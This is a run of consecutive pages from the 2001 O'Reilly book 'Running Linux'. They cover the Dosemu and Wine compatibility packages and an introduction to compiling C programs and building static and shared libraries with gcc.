In general, the more common a file format is on Windows, the more likely it is that Linux developers will provide a means to read or even write those file formats as well. This might also be a good occasion to switch to open file formats like RTF (Rich Text Format) or XML (Extensible Markup Language) when you're on Windows, too. In the age of the Internet, where information is supposed to float freely, closed, nondocumented file formats are an anachronism.

Previous | Home | Next
11.4. X Applications | Book Index | 12.2. Sharing Programs
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Sharing Programs (Running Linux)

 Running LinuxSearch this book
Previous Next

12.2. Sharing Programs

The most popular non-Linux operating systems where compatibility is important--where people want to run its programs and files on Linux--are derivates of DOS: MS-DOS, PC-DOS, Novell DOS, and Windows 3.1 and later. You can use the Linux MTools package to search DOS filesystems, read and copy files, and write to a DOS filesystem. Still, compatibility with DOS obviously requires a lot more than handling a DOS filesystem.

There are two packages intended to provide Linux with the desired DOS compatibility. One is Dosemu and the other is Wine. We discuss them both in this chapter because of their importance to the Linux community.

It should be noted, though, that neither Dosemu nor Wine are finished products. While both development teams have made amazing progress, given the difficulty of their task, you should use them currently only if you are willing to fiddle around with them, trying to reconfigure things, and perhaps even trying to find and fix bugs. If you'd rather try a finished, commercial product, you can buy WABI (Windows Application Binary Interface) from Caldera, Inc., which is a port of the same product for Solaris and is quite stable, but it can run only Windows 3.1 programs.

Another remark: Two years ago, binary emulators like Dosemu and Wine were of utmost importance to the Linux community, because there was not much commercial software available. This situation has utterly changed, however. Many commercial software vendors are providing their products for Linux now, so you might be able to get what you want without running an emulator. Remember that emulation takes its toll; no emulated program can be faster or more stable than a native one.

Recently, new life was breathed into Wine because Corel announced that they would port their products (like CorelDRAW) to Linux by means of Wine, that is, they would support the further development of Wine. This is a notable acceptance of the outstanding work of the Wine team, but it remains to be seen whether these plans will be successful.

The development teams working on Dosemu and Wine are delighted to encourage more developers to pitch in and help, but if you are simply an end user, or a programmer with no access to the Internet and thus no ready access to the developer community, these packages may not be right for you.

There are also emulators for the Apple II and CP/M operating systems, as well as many other machines long forgotten by most users. They originally were run on other operating systems (such as MS-DOS) and have now been ported to Linux. You can get them from the usual Linux FTP sites that archive the emulator software, which are primarily ftp://ftp.metalab.unc.edu and its mirror sites in the path /pub/Linux/system/emulators.

A demo of a commercial (but low-priced) Macintosh emulator is also available from http://www.ardi.com called Executor/Linux. This is a Linux version of a package that has been offered for several years on NeXT machines, and for more than a year on DOS machines. You might try it if only to gain the ability to read and write Mac floppy and SCSI disk formats, which the demo package provides. (The developers of this product have announced that they will release the source code for their Mac file browser to the public.)

If you want to keep up with developments on Executor/Linux, send mail to majordomo@nacm.com with nothing in the Subject: field, and with the message text subscribe executor.

12.2.1. DOS Emulators: Dosemu and xdos

First, we should make it clear that Linux's "DOS emulators," the Dosemu and xdos packages, aren't really emulators. They can be considered virtual machines that allow DOS and applications running on DOS to execute in real mode (virtual 8086 mode) in a "compatibility box" environment similar to the operation of DOS on a standard Intel 80286 or 80386. Because a necessary element of the compatibility box is the virtual 8086, only chipsets that implement the Intel real mode will ever have Dosemu or xdos ported to them. xdos is just a convenient wrapper for Dosemu that lets you run it in an X window, so for this discussion we'll focus primarily on Dosemu.

You should have 8 MB of RAM to use Dosemu, and it would be wise to also have a 12 MB swap partition set up on the hard disk.

Dosemu emulates the BIOS, CMOS memory, XMS and EMS memory, disk services, keyboard, serial devices and printer, and other necessary machine functions, letting DOS work in this controlled environment. Dosemu requires that you have a (licensed) copy of either OpenDOS (formerly known as DR-DOS) or MS-DOS 6.22, but other versions might work as well. Since OpenDOS is freely available, it is preferred by the Dosemu developers.

Dosemu tries to trap DOS and BIOS system calls and handle them in Linux, but it isn't always successful in doing this. DOS BIOS printer services are emulated with Unix file I/O, with the output intended for a printer spooled to a corresponding Linux file. Dosemu has problems with mouse support for some mice, particularly busmouse systems.

We don't encourage you to use Dosemu unless you are willing and able to contribute to the further development of the package and have Internet access to work with the development team. However, Dosemu appears to be useful enough and stable enough to justify discussing it as a package you should consider installing. You should be aware, though, that the development of documentation for Dosemu lags behind the development of software. If you aren't involved in Dosemu development, you may find it difficult to use new features; they may not be that safe anyhow.

More recent versions of Dosemu include some functions originally developed as part of Carnegie Mellon University's DOS emulator for Mach, so Dosemu distributions include the nonrestrictive CMU copyright notice. This notice asks that developers who build software using CMU's work provide a copy of their work to CMU and allow CMU the right to use and redistribute it. (The copyright notice requires that their notice be reproduced and included in any distribution that uses their software, whether or not their code is modified.) You should honor CMU's copyright, so if you will participate in developing Dosemu, be sure to read and observe its copyright notice.

The Dosemu package includes scripts and utilities to install and maintain the package. Dosemu is updated weekly, and each distribution includes a list of software known to run (or not to run) with the current release of the package.

12.2.2. Getting Dosemu and xdos

The FTP site guaranteed to maintain the latest public version of the Dosemu package is ftp://tsx-11.mit.edu. The files can be found in the /pub/linux/ALPHA/dosemu directory. ("Alpha" refers to the state of development of the application, not to a distribution for Alpha architecture Linux.) This includes the most recent documentation files.

Dosemu does not itself support compressed filesystems, but you can use a special driver in the Linux kernel that can mount compressed filesystems and then access those mounted filesystems from within Dosemu.

12.2.3. Installing and Configuring Dosemu

Before you install the Dosemu package, you must first compile the Linux kernel with IPC (System V InterProcess Communication facilities). If you did not build Linux with IPC during the configuration process when installing Linux, you will have to rebuild the kernel to add the facilities before installing Dosemu, which uses System V-shared memory. We strongly recommend that you use a current release of Linux as a basis for running Dosemu and compile Dosemu with a current gcc compiler and libraries. Linux 2.0.28/2.1.15 and later include the needed kernel support for Dosemu.

You must have gcc Version 2.7.2 and libc Version 5.4.7 or later for this version of Dosemu. Later versions of Dosemu may require later versions of Linux, gcc, and C libraries.

Boot Linux and login as root. Place the Dosemu package in the / root directory and unpack it. (The Dosemu package name may vary from this example, whose name reflects our downloading the file via DOS before copying it into the Linux filesystem):

# gunzip dosemu-0.98.4.tgz
# tar -xvf dosemu-0.98.4.tar
The files unpack into the directory dosemu-0.98.4 and its subdirectories.

Now read the documentation. A Dosemu HOWTO file comes with the distribution package in the /dosemu-0.98.4/doc directory. Also read the file QuickStart that comes with the distribution. A script ViewDocs provided with Dosemu lets you view the documentation comfortably.

A file named DANG (Dosemu Novice's Altering Guide) contains notes for customizing source code. This file is extracted automatically from the source code itself, at each release. Additionally, the dos(1) manual page describes the state of the dos command for your version of Dosemu. There is a Texinfo document for Dosemu (dosemu.texinfo) that lags well behind the current state of development of the package. It contains information useful in preparing to install the Dosemu package.

If you need to rebuild your kernel to add IPC and DOS filesystem support and to install a kernel patch, do it now.

Still as root, go to the dosemu-0.98.4 directory and verify that the distribution Makefile exists there. Enter the commands:

# make
# make install

You can now try your newly installed Dosemu with a tiny provided FreeDOS image by issuing:

# ./first-test
C:> exitemu

If this works for you, your Dosemu is probably built correctly.

Next, you will have to copy and edit some configuration files:

  • Copy the file etc/dosemu.conf to /etc/dosemu.conf and modify this file according to the documentation. Be sure to read the documentation, especially the file doc/README.txt to do this. You might also want to leave it as it is for now and come back here once you have gotten a little bit more feel for Dosemu.

  • Depending on your security needs, copy either etc/dosemu.users.easy or etc/dosemu.users.secure to /etc/dosemu.users and edit this file according to your needs.

Next, you need to create a DOS boot image. If you have a contemporary version of the MTools package (Version 3.8 or newer) and a bootable DOS partition or DOS boot floppy, you can run the program setup-hdimage provided with the Dosemu distribution as in the following example:

tigger: # ./setup-hdimage
checking your partitions, wait...
...done
I've seen the following DOS partitions (perhaps non-bootable):

     /dev/sdc1

If none of them are valid, you can continue any way using a bootable
floppy as input. Which one do you want to use as input?
Type in the full device name or ENTER to cancel

/dev/fd0

A normal MSDOS system has command.com as shell.
If you have a different one, please enter the name,
else just type ENTER

We now try to generate a bootable hdimage into /var/lib/dosemu/
hdimage.first and are calling ./dexe/mkdexe for this.

You will be prompted to edit the configuration files
(config.sys, autoexec.bat e.t.c).

Enter the name of your favorite editor, if you type just ENTER, the
editor given via the EDITOR environment variable will be used.

Starting ...
System type is IBMorOpenDos. sysfiles: ibmbio.com, ibmdos.com, command.com
1+0 records in
1+0 records out
Cannot create entry named . or ..

Skipping "config.sys", is not a directory

Skipping "autoexec.bat", is not a directory
 ... done

In this case, we use a bootable OpenDOS floppy disk. If everything goes well, the file /var/lib/dosemu/hdimage.first should be generated and contain your DOS boot image. If there are problems, you might need to use the old method of creating a boot image; see the file doc/README-tech.txt, section 7, in the Dosemu distribution.

Next, check that there is a line like:

$_hdimage = "hdimage.first"

in your /etc/dosemu.conf. There can be more than one image file present here, but hdimage.first should be the first one mentioned.

Now you are ready to start your Dosemu with:

dosemu -C

Dosemu should come up with something like:

Linux DOS emulator 0.98.4.0 $Date: 2001/06/18 18:18:10 $
Last configured at Mon Mar 22 13:05:19 CET 1999 on linux
This is work in progress.
Please test against a recent version before reporting bugs and problems.
Bugs, Patches & New Code to linux-msdos@vger.rutgers.edu

Starting DOS...

[Host File System] drive D: is directory /
[dosemu EMS 4.0 driver installed]

Caldera OpenDOS 7.01
Copyright (c) 1976, 1997 Caldera, Inc.
All rights reserved.

"Welcome to dosemu 0.98!"
C:\>

Now you are ready to try your DOS emulator. Be sure to read the documentation to see the many possibilities of configuring Dosemu. By editing /etc/dosemu.conf, you can quickly solve problems that occur with specific DOS software, terminal modes, sound system support, and the like. You can add pointers to additional DOS directories on hard disks. When you are done working with Dosemu, you can exit it with:

C:\> exitemu

If you want to start Dosemu in an X window of its own, you can run the program xdos instead. You might need to execute:

xset fp rehash

first to make the newly installed DOS fonts available.

If you are adventurous, you can now even try to run Windows 3.x in real mode by installing it into your DOS hard-disk image and then typing:

win /r

12.2.4. Windows Emulation: Wine

Wine is the most ambitious DOS/Windows compatibility package, and it bears tremendous potential value to the Linux community. Wine is inspired by WABI, which originally was developed by Sun Microsystems to allow Microsoft Windows packages to run directly on Solaris. WABI has been licensed by Sun to other System V ports to the Intel PC, and a WABI development group comprised of several Unix vendors guides further the development of WABI. No Linux vendor that we are aware of is a member of the WABI development group. However, Caldera has licensed WABI from SunSoft. The WABI specifications are made available to the public, and the Linux Dosemu team has applied them to the Wine development effort. Wine is being developed for Linux, NetBSD, and FreeBSD at this time, and the first commercial support has been announced by Corel.

You need at least 16 MB of RAM to use Wine, and at least a 32 MB swap partition set up on the hard disk.

Wine consists primarily of a program loader that loads and executes 16-bit MS Windows application binaries and an emulation library that translates calls to MS Windows functions and translates them into Linux and X Window System function calls. As the Wine FAQ notes, Wine means either "WINdows Emulator, or Wine Is Not an Emulator. Both are right." When Wine is fully developed, most Windows applications will run under Wine in the Linux/X environment and will run about as fast under Wine as they do under windows. Maybe faster. A Linux-supported graphics coprocessor makes the X Window System perform a lot better and therefore makes a big difference to Wine performance.

At the time of this writing, Wine support for the Win32 ABI (used by 32-bit Windows 95 and NT applications) is progressing. Ultimately, Wine developers hope that it will be able to run both 16- and 32-bit Windows applications.

Wine is filesystem independent and can be used on any Linux (or Unix) filesystem. You must use the X Window System to run Wine; Wine is invoked from a window opened by your favorite Linux window manager:

wine /pathname/winapp.exe
where pathname is either a Linux- or a DOS-style pathname and winapp.exe is a Windows-based executable.

We can't encourage you to use Wine at this time unless you are a programmer who will contribute to the further development of this ambitious package. Wine is very much in alpha-stage development. As of this writing, Wine does not implement all of the MS-Windows application programming interface (API) functions. Because we think you won't be able to use Wine effectively at this stage unless you are a programmer with Internet access who can contribute to the project, we don't discuss how to install and configure Wine.

If you want to join the Wine developers team or are just looking for more information, your best bet is to check the Wine Headquarters web site at http://www.winehq.com; this is also where you can download the most current version of Wine.

Previous | Home | Next
12. Windows Compatibility and Samba | Book Index | 13. Programming Languages
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Programming Languages (Running Linux)

 Running LinuxSearch this book
Previous Next

Chapter 13. Programming Languages

Contents:

Programming with gcc
Makefiles
Shell Programming
Using Perl
Programming in Tcl and Tk
Java
Other Languages

There's much more to Linux than simply using the system. One of the benefits of free software is that it can be modified to suit the user's needs. This applies equally to the many free applications available for Linux and to the Linux kernel itself.

Linux supports an advanced programming interface, using GNU compilers and tools, such as the gcc compiler, the gdb debugger, and so on. A number of other programming languages, including Perl, Tcl/Tk, and LISP, are also supported. Whatever your programming needs, Linux is a great choice for developing Unix applications. Because the complete source code for the libraries and Linux kernel are provided, those programmers who need to delve into the system internals are able to do so.[46]

[46]On a variety of Unix systems, the authors have repeatedly found available documentation to be insufficient. With Linux, you can explore the very source code for the kernel, libraries, and system utilities. Having access to source code is more important than most programmers would think.

Linux is an ideal platform for developing software to run under the X Window System. The Linux X distribution, as described in Chapter 10, "Installing the X Window System", is a complete implementation with everything you need to develop and support X applications. Programming for X itself is portable across applications, so the X-specific portions of your application should compile cleanly on other Unix systems.

In this chapter, we'll explore the Linux programming environment and give you a five-cent tour of the many facilities it provides. Half of the trick to Unix programming is knowing what tools are available and how to use them effectively. Often the most useful features of these tools are not obvious to new users.

Since C programming has been the basis of most large projects (even though it is nowadays being replaced more and more by C++) and is the language common to most modern programmers--not only on Unix, but on many other systems as well--we'll start out telling you what tools are available for that. The first few sections of the chapter assume you are already a C programmer.

But several other tools are emerging as important resources, especially for system administration. We'll examine two in this chapter: Perl and Tcl/Tk. They are both scripting languages like the Unix shells, taking care of grunt work like memory allocation, so you can concentrate on your task. But both Perl and Tcl/Tk offer a degree of sophistication that makes them more powerful than shell scripts and appropriate for many programming tasks.

Lots of programmers are excited about trying out Java, the new language from Sun Microsystems. While most people associate Java with interactive programs (applets) on web pages, it is actually a general-purpose language with many potential Internet uses. In a later section, we'll explore what Java offers above and beyond older programming languages and how to get started.

13.1. Programming with gcc

The C programming language is by far the most used in Unix software development. Perhaps this is because the Unix system itself was originally developed in C; it is the native tongue of Unix. Unix C compilers have traditionally defined the interface standards for other languages and tools, such as linkers, debuggers, and so on. Conventions set forth by the original C compilers have remained fairly consistent across the Unix programming board. To know the C compiler is to know the Unix system itself. Before we get too abstract, let's get to details.

The GNU C compiler, gcc, is one of the most versatile and advanced compilers around. Unlike other C compilers (such as those shipped with the original AT&T or BSD distributions or from various third-party vendors), gcc supports all the modern C standards currently in use--such as the ANSI C standard--as well as many extensions specific to gcc itself. Happily, however, gcc provides features to make it compatible with older C compilers and older styles of C programming. There is even a tool called protoize that can help you write function prototypes for old-style C programs.

gcc is also a C++ compiler. For those of you who prefer the obscure object-oriented environment, C++ is supported with all of the bells and whistles--including AT&T 3.0 C++ features, such as method templates. Complete C++ class libraries are provided as well, such as the iostream library familiar to many programmers.

For those with a taste for the particularly esoteric, gcc also supports Objective-C, an object-oriented C spinoff that never gained much popularity. But the fun doesn't stop there, as we'll see.

There's also a new kid on the block, egcs. egcs is not a completely new compiler, but is based on gcc. egcs has some advanced optimization features and is especially strong when it comes to newer C++ features like templates and namespaces. If you are going to do serious C++ programming, you will probably want to check it out. Alas, there is a problem with Version 2.0.x kernels that prevents them from being compiled with egcs. Newer kernels from the 2.1.x and those from the 2.2.x don't have this problem. But because of this, some distributors have opted to include the traditional gcc for C compilation and egcs for C++. You can read more about egcs at http://egcs.cygnus.com.

The Free Software Foundation has recently announced that egcs will become their default compiler, thus replacing egcs' own ancestor gcc.

In this section, we're going to cover the use of gcc to compile and link programs under Linux. We assume you are familiar with programming in C/C++, but we don't assume you're accustomed to the Unix programming environment. That's what we'll introduce here.

13.1.1. Quick Overview

Before imparting all of the gritty details of gcc itself, we're going to present a simple example and walk through the steps of compiling a C program on a Unix system.

Let's say you have the following bit of code, an encore of the much-overused "Hello, World!" program (not that it bears repeating):

#include <stdio.h>
int main() {
  (void)printf("Hello, World!\n");
  return 0; /* Just to be nice */
}
To compile this program into a living, breathing executable, there are several steps. Most of these steps can be accomplished through a single gcc command, but the specifics are left for later in the chapter.

First, the gcc compiler must generate an object file from this source code. The object file is essentially the machine-code equivalent of the C source. It contains code to set up the main( ) calling stack, a call to the mysterious printf( ) function, and code to return the value of 0.

The next step is to link the object file to produce an executable. As you might guess, this is done by the linker. The job of the linker is to take object files, merge them with code from libraries, and spit out an executable. The object code from the previous source does not make a complete executable. First and foremost, the code for printf() must be linked in. Also, various initialization routines, invisible to the mortal programmer, must be appended to the executable.

Where does the code for printf() come from? Answer: the libraries. It is impossible to talk for long about gcc without making mention of them. A library is essentially a collection of many object files, including an index. When searching for the code for printf(), the linker looks at the index for each library it's been told to link against. It finds the object file containing the printf() function and extracts that object file (the entire object file, which may contain much more than just the printf() function) and links it to the executable.

In reality, things are more complicated than this. As we have said, Linux supports two kinds of libraries: static and shared. What we have described in this example are static libraries: libraries where the actual code for called subroutines is appended to the executable. However, the code for subroutines such as printf() can be quite lengthy. Because many programs use common subroutines from the libraries, it doesn't make sense for each executable to contain its own copy of the library code. That's where shared libraries come in.

With shared libraries, all of the common subroutine code is contained in a single library "image file" on disk. When a program is linked with a shared library, stub code is appended to the executable, instead of actual subroutine code. This stub code tells the program loader where to find the library code on disk, in the image file, at runtime. Therefore, when our friendly "Hello, World!" program is executed, the program loader notices that the program has been linked against a shared library. It then finds the shared library image and loads code for library routines, such as printf(), along with the code for the program itself. The stub code tells the loader where to find the code for printf() in the image file.

Even this is an oversimplification of what's really going on. Linux shared libraries use jump tables that allow the libraries to be upgraded and their contents to be jumbled around, without requiring the executables using these libraries to be relinked. The stub code in the executable actually looks up another reference in the library itself--in the jump table. In this way, the library contents and the corresponding jump tables can be changed, but the executable stub code can remain the same.

But don't allow yourself to be befuddled by all this abstract information. In time, we'll approach a real-life example and show you how to compile, link, and debug your programs. It's actually very simple; most of the details are taken care of for you by the gcc compiler itself. However, it helps to have an understanding of what's going on behind the scenes.

13.1.2. gcc Features

gcc has more features than we could possibly enumerate here. Later, we present a short list and refer the curious to the gcc manual page and Info document, which will undoubtedly give you an eyeful of interesting information about this compiler. Later in this section, we'll give you a comprehensive overview of the most useful gcc features to get you started. This in hand, you should be able to figure out for yourself how to get the many other facilities to work to your advantage.

For starters, gcc supports the "standard" C syntax currently in use, specified for the most part by the ANSI C standard. The most important feature of this standard is function prototyping. That is, when defining a function foo(), which returns an int and takes two arguments, a (of type char *) and b (of type double), the function may be defined like this:

int foo(char *a, double b) {
  /* your code here... */
}
This is in contrast to the older, nonprototype function definition syntax, which looks like:
int foo(a, b)
char *a;
double b;
{
  /* your code here... */
}
which is also supported by gcc. Of course, ANSI C defines many other conventions, but this is the one most obvious to the new programmer. Anyone familiar with C programming style in modern books, such as the second edition of Kernighan and Ritchie's The C Programming Language, can program using gcc with no problem. (C compilers shipped on some other Unix systems do not support ANSI features such as prototyping.)

The gcc compiler boasts quite an impressive optimizer. Whereas most C compilers allow you to use the single switch -O to specify optimization, gcc supports multiple levels of optimization. At the highest level of optimization, gcc pulls tricks out of its sleeve such as allowing code and static data to be shared. That is, if you have a static string in your program such as Hello, World!, and the ASCII encoding of that string happens to coincide with a sequence of instruction code in your program, gcc allows the string data and the corresponding code to share the same storage. How's that for clever?

Of course, gcc allows you to compile debugging information into object files, which aids a debugger (and hence, the programmer) in tracing through the program. The compiler inserts markers in the object file, allowing the debugger to locate specific lines, variables, and functions in the compiled program. Therefore, when using a debugger, such as gdb (which we'll talk about later in the chapter), you can step through the compiled program and view the original source text simultaneously.

Among the other tricks offered by gcc is the ability to generate assembly code with the flick of a switch (literally). Instead of telling gcc to compile your source to machine code, you can ask it to stop at the assembly-language level, which is much easier for humans to comprehend. This happens to be a nice way to learn the intricacies of protected-mode assembly programming under Linux: write some C code, have gcc translate it into assembly language for you, and study that.

gcc includes its own assembler (which can be used independently of gcc), just in case you're wondering how this assembly-language code might get assembled. In fact, you can include inline assembly code in your C source, in case you need to invoke some particularly nasty magic but don't want to write exclusively in assembly.

13.1.3. Basic gcc Usage

By now, you must be itching to know how to invoke all these wonderful features. It is important, especially to novice Unix and C programmers, to know how to use gcc effectively. Using a command-line compiler such as gcc is quite different from, say, using a development system such as Borland C under MS-DOS. Even though the language syntax itself is similar, the methods used to compile and link programs are not at all the same.

Let's return to our innocent-looking "Hello, World!" example. How would you go about compiling and linking this program?

The first step, of course, is to enter the source code. This is accomplished with a text editor, such as Emacs or vi. The would-be programmer should enter the source code and save it in a file named something like hello.c. (As with most C compilers, gcc is picky about the filename extension; that is, how it can distinguish C source from assembly source from object files, and so on. The .c extension should be used for standard C source.)

To compile and link the program to the executable hello, the programmer would use the command:

papaya$ gcc -o hello hello.c
and (barring any errors), in one fell swoop, gcc compiles the source into an object file, links against the appropriate libraries, and spits out the executable hello, ready to run. In fact, the wary programmer might want to test it:
papaya$ ./hello
Hello, World!
papaya$
As friendly as can be expected.

Obviously, quite a few things took place behind the scenes when executing this single gcc command. First of all, gcc had to compile your source file, hello.c, into an object file, hello.o. Next, it had to link hello.o against the standard libraries and produce an executable.

By default, gcc assumes that not only do you want to compile the source files you specify but also that you want them linked together (with each other and with the standard libraries) to produce an executable. First, gcc compiles any source files into object files. Next, it automatically invokes the linker to glue all the object files and libraries into an executable. (That's right, the linker is a separate program, called ld, not part of gcc itself--although it can be said that gcc and ld are close friends.) gcc also knows about the "standard" libraries used by most programs and tells ld to link against them. You can, of course, override these defaults in various ways.

You can pass multiple filenames in one gcc command, but on large projects you'll find it more natural to compile a few files at a time and keep the .o object files around. If you want only to compile a source file into an object file and forego the linking process, use the -c switch with gcc, as in:

papaya$ gcc -c hello.c
This produces the object file hello.o and nothing else.

By default, the linker produces an executable named, of all things, a.out. By using the -o switch with gcc, you can force the resulting executable to be named something different, in this case, hello. This is just a bit of left-over gunk from early implementations of Unix, and nothing to write home about.

13.1.4. Using Multiple Source Files

The next step on your path to gcc enlightenment is to understand how to compile programs using multiple source files. Let's say you have a program consisting of two source files, foo.c and bar.c. Naturally, you would use one or more header files (such as foo.h) containing function declarations shared between the two programs. In this way, code in foo.c knows about functions in bar.c, and vice versa.

To compile these two source files and link them together (along with the libraries, of course) to produce the executable baz, you'd use the command:

papaya$ gcc -o baz foo.c bar.c

This is roughly equivalent to the three commands:

papaya$ gcc -c foo.c
papaya$ gcc -c bar.c
papaya$ gcc -o baz foo.o bar.o
gcc acts as a nice frontend to the linker and other "hidden" utilities invoked during compilation.

Of course, compiling a program using multiple source files in one command can be time consuming. If you had, say, five or more source files in your program, the gcc command in the previous example would recompile each source file in turn before linking the executable. This can be a large waste of time, especially if you only made modifications to a single source file since last compilation. There would be no reason to recompile the other source files, as their up-to-date object files are still intact.

The answer to this problem is to use a project manager such as make. We'll talk about make later in the chapter, in the section "Section 13.2, "Makefiles"."

13.1.5. Optimizing

Telling gcc to optimize your code as it compiles is a simple matter; just use the -O switch on the gcc command line:

papaya$ gcc -O -o fishsticks fishsticks.c

As we mentioned not long ago, gcc supports different levels of optimization. Using -O2 instead of -O will turn on several "expensive" optimizations that may cause compilation to run more slowly but will (hopefully) greatly enhance performance of your code.

You may notice in your dealings with Linux that a number of programs are compiled using the switch -O6 (the Linux kernel being a good example). The current version of gcc does not support optimization up to -O6, so this defaults to (presently) the equivalent of -O2. However, -O6 is sometimes used for compatibility with future versions of gcc to ensure that the greatest level of optimization is used.

13.1.6. Enabling Debugging Code

The -g switch to gcc turns on debugging code in your compiled object files. That is, extra information is added to the object file, as well as the resulting executable, allowing the program to be traced with a debugger such as gdb (which we'll get to later in the chapter--no worries). The downside to using debugging code is that it greatly increases the size of the resulting object files. It's usually best to use -g only while developing and testing your programs and to leave it out for the "final" compilation.

Happily, debug-enabled code is not incompatible with code optimization. This means that you can safely use the command:

papaya$ gcc -O -g -o mumble mumble.c
However, certain optimizations enabled by -O or -O2 may cause the program to appear to behave erratically while under the guise of a debugger. It is usually best to use either -O or -g, not both.

13.1.7. More Fun with Libraries

Before we leave the realm of gcc, a few words on linking and libraries are in order. For one thing, it's easy for you to create your own libraries. If you have a set of routines you use often, you may wish to group them into a set of source files, compile each source file into an object file, and then create a library from the object files. This saves you having to compile these routines individually for each program you use them in.

Let's say you have a set of source files containing oft-used routines, such as:

float square(float x) {
  /* Code for square()... */
}

int factorial(int x, int n) {
  /* Code for factorial()... */
}
and so on (of course, the gcc standard libraries provide analogs to these common routines, so don't be misled by our choice of example). Furthermore, let's say that the code for square() is in the file square.c and that the code for factorial() is in factorial.c. Simple enough, right?

To produce a library containing these routines, all that you do is compile each source file, as so:

papaya$ gcc -c square.c factorial.c
which leaves you with square.o and factorial.o. Next, create a library from the object files. As it turns out, a library is just an archive file created using ar (a close counterpart to tar). Let's call our library libstuff.a and create it this way:
papaya$ ar r libstuff.a square.o factorial.o
When updating a library such as this, you may need to delete the old libstuff.a, if it exists. The last step is to generate an index for the library, which enables the linker to find routines within the library. To do this, use the ranlib command, as so:
papaya$ ranlib libstuff.a
This command adds information to the library itself; no separate index file is created. You could also combine the two steps of running ar and ranlib by using the s command to ar :

papaya$ ar rs libstuff.a square.o factorial.o

Now you have libstuff.a, a static library containing your routines. Before you can link programs against it, you'll need to create a header file describing the contents of the library. For example, we could create libstuff.h with the contents:

/* libstuff.h: routines in libstuff.a */
extern float square(float);
extern int factorial(int, int);
Every source file that uses routines from libstuff.a should contain an #include "libstuff.h" line, as you would do with standard header files.

Now that we have our library and header file, how do we compile programs to use them? First of all, we need to put the library and header file somewhere the compiler can find them. Many users place personal libraries in the directory lib in their home directory, and personal include files under include. Assuming we have done so, we can compile the mythical program wibble.c using the command:

papaya$ gcc -I..
/include -L..
/lib -o wibble wibble.c -lstuff
 The -I option tells gcc to add the directory .. /include to the include path it uses to search for include files. -L is similar, in that it tells gcc to add the directory .. /lib to the library path.

The last argument on the command line is -lstuff, which tells the linker to link against the library libstuff.a (wherever it may be along the library path). The lib at the beginning of the filename is assumed for libraries.

Any time you wish to link against libraries other than the standard ones, you should use the -l switch on the gcc command line. For example, if you wish to use math routines (specified in math.h), you should add -lm to the end of the gcc command, which links against libm. Note, however, that the order of -l options is significant. For example, if our libstuff library used routines found in libm, you must include -lm after -lstuff on the command line:

papaya$ gcc -Iinclude -Llib -o wibble wibble.c -lstuff -lm
This forces the linker to link libm after libstuff, allowing those unresolved references in libstuff to be taken care of.

Where does gcc look for libraries? By default, libraries are searched for in a number of locations, the most important of which is /usr/lib. If you take a glance at the contents of /usr/lib, you'll notice it contains many library files--some of which have filenames ending in .a, others ending in .so.version. The .a files are static libraries, as is the case with our libstuff.a. The .so files are shared libraries, which contain code to be linked at runtime, as well as the stub code required for the runtime linker (ld.so) to locate the shared library.

At runtime, the program loader looks for shared library images in several places, including /lib. If you look at /lib, you'll see files such as libc.so.5.4.47. This is the image file containing the code for the libc shared library (one of the standard libraries, which most programs are linked against).

By default, the linker attempts to link against shared libraries. However, there are several cases in which static libraries are used. If you enable debugging code with -g, the program will be linked against the static libraries. You can also specify that static libraries should be linked by using the -static switch with gcc.

13.1.7.1. Creating shared libraries

Now that you know how to create and use static libraries, it's very easy to make the step to shared libraries. Shared libraries have a number of advantages. They reduce memory consumption if used by more than one process, and they reduce the size of the executable. Furthermore, they make developing easier: when you use shared libraries and change some things in a library, you do not need to recompile and relink your application each time. You need to relink only if you make incompatible changes, such as adding arguments to a call or changing the size of a struct.

Before you start doing all your development work with shared libraries, though, be warned that debugging with them is slightly more difficult than with static libraries, because the debugger usually used on Linux, gdb, has some problems with shared libraries.

Code that goes into a shared library needs to be position independent. This is a just a convention for object code that makes it possible to use the code in shared libraries. You make gcc emit position-independent code by passing it one of the command-line switches -fpic or -fPIC (the former is preferred, unless the modules have grown so large that the relocatable code table is simply too small in which case the compiler will emit an error message, and you have to use -fPIC. To repeat our example from the last section:

papaya$ gcc -c -fPIC square.c factorial.c

This being done, it is just a simple step to generate a shared library:[47]

[47]In the ancient days of Linux, creating a shared library was a daunting task that even wizards were afraid of. The advent of the ELF object-file format a few years ago has reduced this task to picking the right compiler switch. Things sure have improved!

papaya$ gcc -shared -o libstuff.so square.o factorial.o

Note the compiler switch -shared. There is no indexing step as with static libraries.

Using our newly created shared library is even simpler. The shared library doesn't require any change to the compile command:

papaya$ gcc -I../include -L../lib -o wibble wibble.c -lstuff -lm

You might wonder what the linker does if there is a shared library libstuff.so and a static library llibstuff.a available. In this case, the linker always picks the shared library. To make it use the static one, you will have to name it explicitly on the command line:

papaya$ gcc -I../include -L../lib -o wibble wibble.c libstuff.a -lm

Another very useful tool for working with shared libraries is ldd. It tells you which shared libraries an executable program uses. Here's an example:

papaya$ ldd wibble
        libstuff.so => libstuff.so (0x400af000)
        libm.so.5 => /lib/libm.so.5 (0x400ba000)
        libc.so.5 => /lib/libc.so.5 (0x400c3000)

The three fields in each line are the name of the library, the full path to the instance of the library that is used, and where in the virtual address space the library is mapped to.

If ldd outputs not found for a certain library, you are in trouble and won't be able to run the program in question. You will have to search for a copy of that library. Perhaps it is a library shipped with your distribution that you opted not to install, or it is already on your hard disk, but the loader (the part of the system that loads every executable program) cannot find it.

In the latter situation, try locating the libraries yourself and find out whether they're in a nonstandard directory. By default, the loader looks only in /lib and /usr/lib. If you have libraries in another directory, create an environment variable LD_LIBRARY_PATH and add the directories separated by colons.

13.1.8. Using C++

If you prefer object-oriented programming, gcc provides complete support for C++ as well as Objective-C. There are only a few considerations you need to be aware of when doing C++ programming with gcc.

First of all, C++ source filenames should end in the extension .C or .cc. This distinguishes them from regular C source filenames, which end in .c.

Second, the g++ shell script should be used in lieu of gcc when compiling C++ code. g++ is simply a shell script that invokes gcc with a number of additional arguments, specifying a link against the C++ standard libraries, for example. g++ takes the same arguments and options as gcc.

If you do not use g++, you'll need to be sure to link against the C++ libraries in order to use any of the basic C++ classes, such as the cout and cin I/O objects. Also be sure you have actually installed the C++ libraries and include files. Some distributions contain only the standard C libraries. gcc will be able to compile your C++ programs fine, but without the C++ libraries, you'll end up with linker errors whenever you attempt to use standard objects.

Previous | Home | Next
12.2. Sharing Programs | Book Index | 13.2. Makefiles
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Makefiles (Running Linux)

 Running LinuxSearch this book
Previous Next

13.2. Makefiles

